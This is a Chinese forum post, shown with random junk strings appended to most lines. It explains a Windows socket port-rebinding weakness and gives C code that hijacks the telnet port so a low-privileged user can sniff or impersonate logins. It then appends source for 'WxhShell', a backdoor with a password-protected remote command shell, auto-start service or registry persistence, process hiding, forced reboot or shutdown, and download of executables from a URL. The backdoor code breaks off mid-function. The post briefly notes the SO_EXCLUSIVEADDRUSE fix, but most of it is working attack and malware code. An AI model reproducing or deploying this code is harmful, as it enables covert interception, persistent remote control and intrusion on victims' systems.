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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ~P8tUhffK  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); *1p|5!4c  
\6E|pbJ}x  
  saddr.sin_family = AF_INET; xO^:_8=&:  
3L833zL  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); y#Fv+`YDl  
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  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); [ oL.+  
C${Vg{g7a  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 R< ,`[*Z  
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  这意味着什么?意味着可以进行如下的攻击: K`iv c N"  
k9:{9wW  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ,k{#S?:b  
vwjPmOjhS  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) u [m  
rR9|6l 3  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ]h>_\9qO  
co~Pyj  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  f!oT65Vmi  
|X0Y-  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 4wID]bKM  
7ePqmB<.  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Bg&i63XL$$  
c_-drS  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 lsNrAA%m  
sm0xLZ  
  #include _A+s)]}  
  #include  {Or;  
  #include yRSTk2N@  
  #include    RIb4!!',c  
  DWORD WINAPI ClientThread(LPVOID lpParam);   (eCJ;%%k  
  int main() !n* +(lZ  
  { 9Wnn'T@Tl  
  WORD wVersionRequested; cxA^:3  
  DWORD ret; =+U `-J} g  
  WSADATA wsaData; B8B; y^b>i  
  BOOL val; b4E:Wn9x  
  SOCKADDR_IN saddr; lV1G<qP  
  SOCKADDR_IN scaddr; :YXX8|>  
  int err; AG!w4Ky`  
  SOCKET s; Cnbz=z  
  SOCKET sc; :bz}c48%  
  int caddsize; [z9 `)VIe  
  HANDLE mt; "}pNe"ok  
  DWORD tid;   f0X_fm_q  
  wVersionRequested = MAKEWORD( 2, 2 ); 6^]!gR#B  
  err = WSAStartup( wVersionRequested, &wsaData ); 7B!x T2{T  
  if ( err != 0 ) { BFL`!^  
  printf("error!WSAStartup failed!\n"); T(f/ ?_%  
  return -1; S/D^  
  } J 4Nln  
  saddr.sin_family = AF_INET; *a58ZI@  
   .q9 $\wM/  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 2 $?C7(kW  
G '6@+$ppS  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 0BIy>wy:  
  saddr.sin_port = htons(23); H*[ M\gN$  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) &;D8]7d  
  { *MJX?  
  printf("error!socket failed!\n"); 'yL%3h _@  
  return -1;  c|M6 <}  
  } =&,]Z6{ >  
  val = TRUE; vH#huZA?7  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 f>W -  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) S-k8jm  
  { \De{9v  
  printf("error!setsockopt failed!\n"); oW<5|FaN  
  return -1; 95YL]3V  
  } NMa} <  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; KO]T<R h<  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 l y(>8F  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 T;,cN7>>O  
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  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) R~)\3] "2m  
  { .u4 W /  
  ret=GetLastError(); #7MUJY+ 9  
  printf("error!bind failed!\n"); 1UE6 4Kl:S  
  return -1; Ed_N[ I   
  } =>M^02"  
  listen(s,2); #wV8X`g  
  while(1) fZ*+2T>  
  { k&,~qoU  
  caddsize = sizeof(scaddr); QKr,g  
  //接受连接请求 sOU1n  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 4|CtRF<L  
  if(sc!=INVALID_SOCKET) w]]8dz  
  { Cn "s` q  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); yt.F\[1  
  if(mt==NULL) fp+gyTnd3  
  { y#q?A,C@n  
  printf("Thread Creat Failed!\n"); T~Gvp0r}h  
  break; Zo g']=  
  } BK,{N0  
  } 1+}{8D_F  
  CloseHandle(mt); #6+@M  
  } 5 N#3a0)  
  closesocket(s); pKit~A,Q  
  WSACleanup(); )i !o8YB  
  return 0; ~v6OsH%vx  
  }   i*#-I3  
  DWORD WINAPI ClientThread(LPVOID lpParam) EUN81F?  
  { w+1 |9Y  
  SOCKET ss = (SOCKET)lpParam; ,u`B<heoLU  
  SOCKET sc; d` jjGEj  
  unsigned char buf[4096]; ug+io mZ  
  SOCKADDR_IN saddr; m^GJuP LW  
  long num;  :}@g6   
  DWORD val; 1T-8K r  
  DWORD ret; `C$:Yf]%nG  
  //如果是隐藏端口应用的话,可以在此处加一些判断 *=+td)S/1  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   w*oQ["SL  
  saddr.sin_family = AF_INET; <gJU?$  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); @U3Vc|  
  saddr.sin_port = htons(23); il:$sd  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) )6|yb65ZUX  
  { 1:f9J  
  printf("error!socket failed!\n"); >rJnayLF  
  return -1; Z;:u'=  
  } e S<lwA_  
  val = 100; gG-BVl"59  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) iVy7elT;R  
  { y5do1Z  
  ret = GetLastError(); ^(|vsFzn  
  return -1; K)Q]a30  
  } ;uw Ryd  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ~~SwCXZ+b^  
  { t4-pM1]1_  
  ret = GetLastError(); +(C6#R<LI  
  return -1; ?sMP~RHQ  
  } 6y6<JR-V2k  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ~:3QBMk::  
  { DsT>3  
  printf("error!socket connect failed!\n"); o[cV1G  
  closesocket(sc); LAd\Tvms  
  closesocket(ss); ,0hA'cp  
  return -1; <-,gAk)u  
  } N(y\dL=v  
  while(1) q^r#F#*1l  
  { 89wU-Aggq  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 oE(7v7iY  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 }MHCd)78b  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 mw='dFt  
  num = recv(ss,buf,4096,0); /XhIx\40 l  
  if(num>0) =u+d_'P7-R  
  send(sc,buf,num,0); 2UFv9  
  else if(num==0) )e a:Q?  
  break; 1$%V{4bJ  
  num = recv(sc,buf,4096,0); .8P.)%  
  if(num>0) Er+nk`UR_  
  send(ss,buf,num,0); @ ]/AjjLt  
  else if(num==0) %Mk0QKzUo  
  break; /ew Ukc8,  
  } }w1~K'ck}>  
  closesocket(ss); QoG cWJ  
  closesocket(sc); 1;mW,l'`  
  return 0 ; 72oF,42y  
  } D,g1<:<  
hNd}Y'%V  
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========================================================== w Axrc+  
lhw ,J]0*  
下边附上一个代码,,WXhSHELL I+dbZBX  
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========================================================== pGK;1gVj  
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#include "stdafx.h" yb/%?DNQT  
3Ei5pX=g  
#include <stdio.h> 'ul~7h;n  
#include <string.h> Ygl%eP%Z  
#include <windows.h> }C#;fp"L  
#include <winsock2.h> opJMS6%r  
#include <winsvc.h> bIEhgiH  
#include <urlmon.h> !X<~-G2)l  
mGGsB5#w>  
#pragma comment (lib, "Ws2_32.lib") T9u<p=p  
#pragma comment (lib, "urlmon.lib") QNxl/y\l0  
$.GOZqMs  
#define MAX_USER   100 // 最大客户端连接数 <]b7ZF]  
#define BUF_SOCK   200 // sock buffer a)#1{JaoY  
#define KEY_BUFF   255 // 输入 buffer k}0^&Quc4  
R hvfC5Hq  
#define REBOOT     0   // 重启 "B8"_D&  
#define SHUTDOWN   1   // 关机 Ns[ym>x#2  
S}ECW,K  
#define DEF_PORT   5000 // 监听端口 ]f_6 '|5 A  
9> g,  
#define REG_LEN     16   // 注册表键长度 W"k8KODOY  
#define SVC_LEN     80   // NT服务名长度 Ce")[<:  
6'RrQc=q  
// 从dll定义API gF5a5T,  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Tp9- niW  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); =n' 4?W@  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ea 00\  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); L0tAgW!@  
mUz\ra;z  
// wxhshell配置信息 ?1 [\!  
struct WSCFG { t6A:Z mG_  
  int ws_port;         // 监听端口 }LijnHH.  
  char ws_passstr[REG_LEN]; // 口令 f4guz  
  int ws_autoins;       // 安装标记, 1=yes 0=no 1[t=XDz/e  
  char ws_regname[REG_LEN]; // 注册表键名 *s>BG1$<  
  char ws_svcname[REG_LEN]; // 服务名 @bnG:np  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 MiRdX#+Y  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 l $jxLZ  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 XFh>U7z.  
int ws_downexe;       // 下载执行标记, 1=yes 0=no q=DN {a:  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" yin'vgQ  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 !E-Pa5s  
$Tb G+Eb8  
}; W{rt8^1  
A,) VM9M_l  
// default Wxhshell configuration M!tXN&V]  
struct WSCFG wscfg={DEF_PORT, `r_m+]  
    "xuhuanlingzhe", hAjM1UQ,Y  
    1, DS%\SrC  
    "Wxhshell", 4#'(" #R  
    "Wxhshell", 6Vbzd0dk  
            "WxhShell Service", yj$TPe_BW  
    "Wrsky Windows CmdShell Service", J-<^P5  
    "Please Input Your Password: ", ,~);EC=`  
  1, Z-B%'/.  
  "http://www.wrsky.com/wxhshell.exe", !!:LJ  
  "Wxhshell.exe" $ A9%UhV  
    }; [*Z`Kc  
Bs M uQ|!  
// 消息定义模块 Go&D[#  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; fbkd"7u  
char *msg_ws_prompt="\n\r? for help\n\r#>"; /LM4- S  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; `+/H^  
char *msg_ws_ext="\n\rExit."; u?[ q=0.J7  
char *msg_ws_end="\n\rQuit."; \@;\t7~  
char *msg_ws_boot="\n\rReboot..."; ~kCwJ<E  
char *msg_ws_poff="\n\rShutdown..."; olW|$?  
char *msg_ws_down="\n\rSave to "; x5Z-{"  
8V-\e?&^  
char *msg_ws_err="\n\rErr!"; $j 5,%\4<  
char *msg_ws_ok="\n\rOK!"; P &)1Rka  
4"vaMa  
char ExeFile[MAX_PATH]; pfd#N[c  
int nUser = 0; NA.1QQ ;e  
HANDLE handles[MAX_USER]; f):~8_0b  
int OsIsNt; V >,Z-&.%  
%ObD2)s6:^  
SERVICE_STATUS       serviceStatus; 9%IlW  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; vLO&Lpv  
0~& "  
// 函数声明 S }>n1F_  
int Install(void); {NCF6M k  
int Uninstall(void); - ~4+w  
int DownloadFile(char *sURL, SOCKET wsh); z\/53Sy<  
int Boot(int flag); 6TH!vuQ1(  
void HideProc(void); ba@=^Fa;  
int GetOsVer(void); 7rHS^8'H&  
int Wxhshell(SOCKET wsl); wVq\FY%  
void TalkWithClient(void *cs); GPWr>B.{:S  
int CmdShell(SOCKET sock); >x[`;O4  
int StartFromService(void); wG8Wez%  
int StartWxhshell(LPSTR lpCmdLine); @S 6u9v  
D^Ys)- d  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); t!_x(u  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Be}$I_95\P  
8#` 6M5  
// 数据结构和表定义 E:nt)Ef,  
SERVICE_TABLE_ENTRY DispatchTable[] = oH2!5;A|  
{ gZT)pP  
{wscfg.ws_svcname, NTServiceMain}, _B,_4}  
{NULL, NULL} [^~7]2i  
}; eu'1H@vX(  
 .~}z4r  
// 自我安装 #yc L'T`X%  
int Install(void) QT#6'>&7-b  
{ G*\h\ @  
  char svExeFile[MAX_PATH]; ,kgF2K!  
  HKEY key; )uP[!LV[e  
  strcpy(svExeFile,ExeFile); =w<v3wWN4  
_N3}gFh>  
// 如果是win9x系统,修改注册表设为自启动 2*U.^]~"{  
if(!OsIsNt) { yZJ*dadAr  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { m h;X~.98  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Icp0A\L@  
  RegCloseKey(key); :[M[(  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { %McO6.M@  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 4(vyp.f  
  RegCloseKey(key); v&3O&y/1v  
  return 0; Q1>zg,r  
    } J  fcMca  
  } *rqm8z50a  
} jnoL2JR[=-  
else { 'nK~'PZ,  
v9}[$HWx  
// 如果是NT以上系统,安装为系统服务  d^39t4  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); EaS~`  
if (schSCManager!=0) C]`eH *z~8  
{ Uq X1E  
  SC_HANDLE schService = CreateService nR8]@cC  
  ( Rq7p29w  
  schSCManager, j"<Y!Y3  
  wscfg.ws_svcname, ~4 FDKU C  
  wscfg.ws_svcdisp, zj]b&In6;  
  SERVICE_ALL_ACCESS, L(WOet('  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , p27p~b&  
  SERVICE_AUTO_START, \Tq "mw9P  
  SERVICE_ERROR_NORMAL, da*9(!OV  
  svExeFile, w)S;J,Hv  
  NULL, I$N7pobh  
  NULL, '\*A"8;h  
  NULL, j%M @#  
  NULL, xQz#i-v  
  NULL #t5juX9Ho9  
  );  3t  
  if (schService!=0) !C7<sZ`C  
  { rrQ0qg  
  CloseServiceHandle(schService); e?)yb^7K  
  CloseServiceHandle(schSCManager); 6H;kJHn  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); u[t>Tg2R  
  strcat(svExeFile,wscfg.ws_svcname); o5#,\Y[ g  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { dy_.(r5[L]  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); z\[(g  
  RegCloseKey(key); }Z6nN)[|0Y  
  return 0; , ;'SVe%  
    } ct\<;I(H  
  } 0=m&^Jpp  
  CloseServiceHandle(schSCManager); fI[dhd6  
} A*Q[k 9B  
} -HTL5  
zjoo{IH}  
return 1; ,#%SK;1<  
} #5d8?n  
5}SXYA}  
// 自我卸载 &^ceOV0+  
int Uninstall(void) =[(%n94  
{ &9h  
  HKEY key; n49s3|#)G  
>PH< N  
if(!OsIsNt) { wrK#lh2  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ork|yj/A  
  RegDeleteValue(key,wscfg.ws_regname); ZPYH#gC& T  
  RegCloseKey(key); j@g!R!7)  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Ge9}8  
  RegDeleteValue(key,wscfg.ws_regname); gCwt0)  
  RegCloseKey(key); LO>8 j:  
  return 0; <"ae4  
  } 14u^[M" U  
} iJ*%dio  
} q+J0}y{#8)  
else { _U=S]2 Q W  
'X ~Ab  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 2e\Kw+(>{  
if (schSCManager!=0) MVuP |&:n  
{ 7X:hIl   
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ,A?v,Fs>O[  
  if (schService!=0) jhcuK:`L  
  { <|dj^.^  
  if(DeleteService(schService)!=0) { C!kbZTO[p"  
  CloseServiceHandle(schService); ]h!*T{:  
  CloseServiceHandle(schSCManager); ~6fRS2u  
  return 0; cB36p&%  
  } .6I%64m  
  CloseServiceHandle(schService); G%`cJdM  
  } V"U~Q=`K  
  CloseServiceHandle(schSCManager); W#Cq6N  
} }amE6  
} lzI/\%  
" xxXZGUp  
return 1; 4= $!_,.  
} jM;d>Gymx  
OMxxI6h  
// 从指定url下载文件 p|;o5j{  
int DownloadFile(char *sURL, SOCKET wsh) SOYDp;j  
{ Vg) ^|  
  HRESULT hr; ;lkf+,;  
char seps[]= "/"; 6%z`)d  
char *token; rOhA*_EG  
char *file; nO%<;-=u\  
char myURL[MAX_PATH]; aH9L|BN*  
char myFILE[MAX_PATH]; l85CJ+rg  
.>oM z&  
strcpy(myURL,sURL); 3?]S,~!F  
  token=strtok(myURL,seps); I@c0N*(  
  while(token!=NULL) n_ OUWvs  
  { `C ?a  
    file=token; Cb<~i  
  token=strtok(NULL,seps); tl2Lq0  
  } 9`E-dr9  
1URT2$2p  
GetCurrentDirectory(MAX_PATH,myFILE); SaTEZ.  
strcat(myFILE, "\\"); ar=hx+  
strcat(myFILE, file); 5M]6'X6I  
  send(wsh,myFILE,strlen(myFILE),0); 8*"rZh}'  
send(wsh,"...",3,0); r$Kh3EEF`E  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); r ufRaar  
  if(hr==S_OK) mURX I'JkX  
return 0; OHQ3+WJ  
else ~'|&{-<  
return 1; bwT"$Ee  
WoJ]@Me8  
} kv[OW"8t  
Psg +\14  
// 系统电源模块 /}[zA@  
int Boot(int flag) ..]B9M.  
{ c '/2F0y  
  HANDLE hToken; b<48#Qy~l  
  TOKEN_PRIVILEGES tkp; ,\Z8*Jr3Q  
'$lw[1  
  if(OsIsNt) { d9ZDpzx B  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 7=AO^:=bx  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); C[^a/P`i  
    tkp.PrivilegeCount = 1; ?T~3B]R  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; FP0<-9DO  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);  ; \Y-  
if(flag==REBOOT) { $K;_Wf  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) x Xl$Mp7  
  return 0; 1Q3%!~<\s  
}  \q|e8k4p  
else { p3i qW,[@  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ;o&_:]S  
  return 0; I]s:Ev[~  
} -{.h\  
  } REeD?u j  
  else { ^?JEyY  
if(flag==REBOOT) { \=TWYj_Ah  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) )GQ D*b  
  return 0; z2$F Yn Q  
} zkw0jX~  
else { tVK?VNW  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) !hpTyO+%  
  return 0; mvxc[  
} %@)U/G6s}  
} u9 da]*\7y  
c1=;W$T(s  
return 1; a .B\=3xn  
} C _ k_D  
im_0ur&'  
// win9x进程隐藏模块 -uS7~Ww.a  
void HideProc(void) e{d_p%(  
{ 'bd=,QW  
7~QwlU3n<F  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); zcbA)  
  if ( hKernel != NULL ) 6+5(.z-[  
  { +K @J*W 1  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Vz+=ZK r5  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); = D;UMSf  
    FreeLibrary(hKernel); ]*t*/j;N  
  } .XZ 71E  
9e|{z9z[l  
return; 7zi^{]  
} s7X~OF(#  
K[Ws/yc^a  
// 获取操作系统版本 oc,U4+T  
int GetOsVer(void) (W{rv6cq  
{ j8F~j?%!  
  OSVERSIONINFO winfo; u/K)y:ZZ  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); BBZ)H6TzL  
  GetVersionEx(&winfo); U{.+*e18  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 'R-JQ E-]  
  return 1; #m[w=Pu}  
  else ?Ix'2v  
  return 0; (>kBmK1Aj  
} '3Y0D1`v  
\^^hG5f  
// 客户端句柄模块 4%Z\G@0<'  
int Wxhshell(SOCKET wsl) C=pPI  
{ ^.B `Z{Jb  
  SOCKET wsh; ()rx>?x5  
  struct sockaddr_in client; r A&#>R`  
  DWORD myID; n[S41809<  
^y;OHo  
  while(nUser<MAX_USER) z;Gbqr?{{  
{ N:sECGS,  
  int nSize=sizeof(client);  G$cq   
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); (D +{0 /  
  if(wsh==INVALID_SOCKET) return 1; E2ayK> ,  
KX=:)%+  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 4jue_jsle  
if(handles[nUser]==0) e`gGzyM  
  closesocket(wsh); RF\1.HJG  
else oVxV,oH(  
  nUser++; tkUW)ScJ  
  } y}H*p  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ? geWR_Z  
{?kKpMNNn  
  return 0; -qnXa  
} 71.:p,Z@z  
<o"D/<XnB3  
// 关闭 socket kAKqW7,q"  
void CloseIt(SOCKET wsh) lpX p )r+  
{ ct|'I]nB.h  
closesocket(wsh); n!E H>'T  
nUser--; 3:CQMZ|;@  
ExitThread(0); &t=>:C$1Y  
} =G3J.S*Riy  
eG2qOq$[  
// 客户端请求句柄 5IB:4zx^h  
void TalkWithClient(void *cs) , T%pGku  
{ `Mh<S+/  
cB9KHqB  
  SOCKET wsh=(SOCKET)cs; n3@g{4~  
  char pwd[SVC_LEN]; (B~V:Yt  
  char cmd[KEY_BUFF]; V HY<(4@  
char chr[1]; Ar{=gENn  
int i,j; C`K9WJOD  
wW)&Px n  
  while (nUser < MAX_USER) { :Y)kKq d  
5/eS1NJ@  
if(wscfg.ws_passstr) { v!v0,?b*  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); B}xo|:f!zj  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); qytGs@p_  
  //ZeroMemory(pwd,KEY_BUFF); ,LW%'tQ~"  
      i=0; m3v* ,~  
  while(i<SVC_LEN) { u=UM^C!  
*R~(:z>>  
  // 设置超时 K+TTYQ  
  fd_set FdRead; 1Mhc1MU  
  struct timeval TimeOut; &Bdt+OQ ;  
  FD_ZERO(&FdRead); <raqp Oo&  
  FD_SET(wsh,&FdRead); t>=y7n&q  
  TimeOut.tv_sec=8; 4uE5h~0Z  
  TimeOut.tv_usec=0; Q; /!oA_  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); V{^fH6;[  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); xo"4mbTV  
0bQiUcg/  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 06W=(fY  
  pwd=chr[0]; K]]r OF  
  if(chr[0]==0xd || chr[0]==0xa) { 01d26`G$i~  
  pwd=0; y:``|*+  
  break; $T%<'=u|E  
  } zSM7x  
  i++; m$UT4,Ol  
    } Q Fqv,B\<  
d4eCBqx  
  // 如果是非法用户,关闭 socket rL+n$p X-  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 7 V1k$S(  
} b2@x(5#  
e~~k}2~  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); F vk: c-  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); X}QmeY[0I  
(7#lN  
while(1) { EqDYQ 7  
u9^;~i,  
  ZeroMemory(cmd,KEY_BUFF); 4uVmhjT:X  
jW0z|jr  
      // 自动支持客户端 telnet标准   =}o>_+"  
  j=0; Jn[ K0GV  
  while(j<KEY_BUFF) { $5AtI$TV_!  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ifCGNvDR  
  cmd[j]=chr[0]; _"Ke=v_5  
  if(chr[0]==0xa || chr[0]==0xd) { XI(@O)  
  cmd[j]=0; ?m7"G)  
  break; FG36,6N%2j  
  } xla^A}{  
  j++; 9}Ave:X^  
    } {3uSg)  
Wjk;"_"gd  
  // 下载文件 8BH)jna`Qo  
  if(strstr(cmd,"http://")) { Leick 6  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); : MmXH&yR  
  if(DownloadFile(cmd,wsh)) 9i[2z:4HJ  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); fJ lN'F7  
  else ;p"XCLHl  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9i)mv/i  
  } dw}3B8]  
  else { |]3);^0  
_SW a3O#'  
    switch(cmd[0]) { ~u& O  
  >f05+%^[  
  // 帮助 pXlBKJmW  
  case '?': { $^aXVy5p  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); % +"AF+c3r  
    break; &Gwh<%=U  
  } l"!;Vkg.5  
  // 安装 0J-ux"kfI  
  case 'i': { `B 0*/ml  
    if(Install()) &-Y:4.BXZ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )_.H #|r  
    else P(+ar#,G  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); x=+I8Q4:  
    break; d~$t{46  
    } SLB iQd.  
  // 卸载 \> dG'  
  case 'r': { #,{v Js~  
    if(Uninstall()) Lcb5 9Cs6e  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); L6 # d  
    else UVU*5U~  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); mpAh'f4$*  
    break; LMzYsXG*[  
    } J(VZa_  
  // 显示 wxhshell 所在路径 AG0x)  
  case 'p': { FMr$cKvE]W  
    char svExeFile[MAX_PATH]; % 7:  
    strcpy(svExeFile,"\n\r"); | lfPd  
      strcat(svExeFile,ExeFile); xT>V ;aa\  
        send(wsh,svExeFile,strlen(svExeFile),0); %6:2cR  
    break; 78#ud15Ml  
    } PelV67?M  
  // 重启 y>1 8)8  
  case 'b': { u[qtuM?&  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); @V u[Tg}J  
    if(Boot(REBOOT)) z<=t3dj  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _erH]E| [  
    else { []^>QsS(X  
    closesocket(wsh); 2yc\A3ft#  
    ExitThread(0); y +vcBuX  
    } Ob+c*@KiW  
    break; Wd<}|?R  
    } >s~`K^zS  
  // 关机 QKQy)g  
  case 'd': { 014!~c  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); pDfF'jt9  
